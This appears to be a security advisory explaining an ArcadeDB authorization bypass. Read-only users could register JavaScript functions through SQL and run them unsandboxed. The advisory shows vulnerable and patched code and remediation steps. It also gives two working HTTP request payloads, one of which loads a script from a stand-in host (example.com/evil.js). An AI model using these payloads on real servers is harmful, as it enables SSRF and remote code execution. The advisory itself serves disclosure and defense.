GHSA-VWJC-V7X7-CM6G: Authorization Bypass via SQL-Defined User Functions in ArcadeDB

ArcadeDB is an open-source, multi-model database engine designed to handle graph, document, and key-value paradigms within a unified transactional core. The engine provides support for user-defined operations through its integration of a polyglot runtime, primarily powered by GraalVM. This allows the system to interpret multiple programming languages, including SQL, Gremlin, and JavaScript.

In a secure database environment, execution of arbitrary script-based commands must be tightly restricted to prevent untrusted inputs from accessing system-level capabilities. The vulnerability designated as GHSA-VWJC-V7X7-CM6G represents an incomplete fix for an earlier vulnerability, GHSA-48qw-824m-86pr. It resides in the SQL engine's function registration module.

An authenticated user assigned a low-privilege role, such as the default read-only reader role, can exploit this interface. By bypassing the access control mechanism, the user can register user-defined functions utilizing JavaScript. This registration subsequently enables the execution of un-sandboxed scripts within the database process context, leading to several security compromises.

The root cause of GHSA-VWJC-V7X7-CM6G lies in the inconsistent enforcement of authorization checks across the database's multiple query-processing engines. In version 26.7.1, the developers patched GHSA-48qw-824m-86pr by placing permission validation checks inside PolyglotQueryEngine.java. This check verifies that the caller has UPDATE_SECURITY privileges before executing direct polyglot scripts.

However, this restriction was only applied to direct scripting API payloads. The SQL engine allows users to define custom functions via standard query statements using the DEFINE FUNCTION syntax. The handler class for this statement, DefineFunctionStatement.java, failed to validate if the current user possessed the administrative permissions required to register and run scripts.

Because the engine registers SQL functions globally, a low-privilege user can insert malicious JavaScript into a function definition. When that SQL function is subsequently queried, the underlying execution path bypasses the permission checks enforced by PolyglotQueryEngine. Additionally, the GraalVM execution environment was initialized with the default IOAccess.ALL policy, granting the scripting context access to the network.

To trace the bypass, we must analyze the interaction between DefineFunctionStatement.java and the database schema manager. In the vulnerable implementation, the executeSimple method processed the definition statement without verifying user permissions against UPDATE_SECURITY privileges.

// Vulnerable Code Path: DefineFunctionStatement.java (Simplified)
public Object executeSimple(final CommandContext context) {
    final Database database = context.getDatabase();
    // MISSING: Authorization check for script-capable languages
    final String functionName = getName();
    final String language = getLanguage();
    final String code = getCode();
 
    // Registers the function in the schema directly
    database.getSchema().registerFunctionLibrary(functionName, language, code);
    return true;
}

This registered function is executed using the SQL query processor, bypassing the PolyglotQueryEngine authorization check entirely. In the patched version 26.7.2, the developers introduced the centralized authorization gate assertCanExecuteUserCode(database) to block this vector.

// Patched Code Path: DefineFunctionStatement.java (Simplified)
public Object executeSimple(final CommandContext context) {
    final Database db = context.getDatabase();
    // Hardened Check added in version 26.7.2
    assertCanExecuteUserCode(db);
 
    final String functionName = getName();
    final String language = getLanguage();
    final String code = getCode();
 
    db.getSchema().registerFunctionLibrary(functionName, language, code);
    return true;
}

Furthermore, the patch hardened the underlying polyglot environment instantiation within GraalPolyglotEngine.java. The updated code explicitly configures the context with restricted access. This blocks the script engine from utilizing native system functions or establishing outbound network connections.

// Sandbox Hardening inside GraalPolyglotEngine.java
Context context = Context.newBuilder()
    .allowHostAccess(HostAccess.NONE)
    .allowIO(IOAccess.NONE) // Formerly set to IOAccess.ALL or inherited defaults
    .allowPolyglotAccess(PolyglotAccess.NONE)
    .build();

Exploitation of GHSA-VWJC-V7X7-CM6G requires valid credentials for an account with basic read-only access. An attacker communicates with the database over the HTTP REST interface by sending command payloads. Since read-only users have legitimate access to the command interface to run queries, the network traffic appears normal.

The attacker constructs a SQL command to define a new JavaScript function. Because the script is encapsulated inside a standard SQL DEFINE FUNCTION statement, the request successfully traverses the command endpoint. The payload below demonstrates registering a function that uses the GraalVM load function to perform an HTTP request.

POST /api/v1/command/mydb
Content-Type: application/json
Authorization: Basic <base64_low_privilege_credentials>
 
{
  "language": "sql",
  "command": "DEFINE FUNCTION bypass.ssrf \"load('http://example.com/evil.js')\" LANGUAGE js"
}

Once defined, the function is registered into the active database schema. The attacker triggers execution of this payload by sending a secondary SQL command to evaluate the newly registered function. This triggers the un-sandboxed GraalVM engine to compile and run the JavaScript body.

POST /api/v1/command/mydb
Content-Type: application/json
Authorization: Basic <base64_low_privilege_credentials>
 
{
  "language": "sql",
  "command": "SELECT bypass.ssrf()"
}

A visual representation of the attack flow highlights how the SQL engine acts as an alternative execution path, bypassing the authorization mechanisms implemented on the primary scripting endpoint.

The security implications of this bypass are extensive. Although the attacker must possess credentials, any default role including reader is sufficient to compromise the system. The primary impact is Server-Side Request Forgery, which allows the database server to make arbitrary requests to internal network assets.

Because the GraalVM engine runs inside the host JVM process, an attacker can exploit the lack of IO restrictions to load external remote script assets. This capability allows attackers to run complex scripting logic directly on the backend server. The lack of CPU and memory boundaries within the default scripting engine can also be leveraged to trigger resource starvation.

Security administrators must recognize that this vulnerability essentially upgrades any authenticated read-only connection into a remote execution environment. By running untrusted scripts inside the database JVM, attackers can potentially identify local file system contents or intercept active database connections.

Resolving GHSA-VWJC-V7X7-CM6G requires updating the ArcadeDB engine to version 26.7.2 or later. The update introduces centralized security verification via assertCanExecuteUserCode, ensuring that no scripting logic can be executed by unauthorized accounts. This centralized control prevents future bypasses that might target other query execution paths.

The remediation also includes critical environment-level hardening. By setting IOAccess.NONE within the GraalVM engine configuration, the developers have successfully mitigated the threat of SSRF even if an attacker manages to register a script. This defensive-in-depth approach ensures the script engine is fully isolated from external resources.

Organizations unable to upgrade immediately should enforce strict network egress controls on database servers to prevent outbound SSRF traffic. Furthermore, access to the command API should be disabled or restricted to highly trusted internal administrative networks.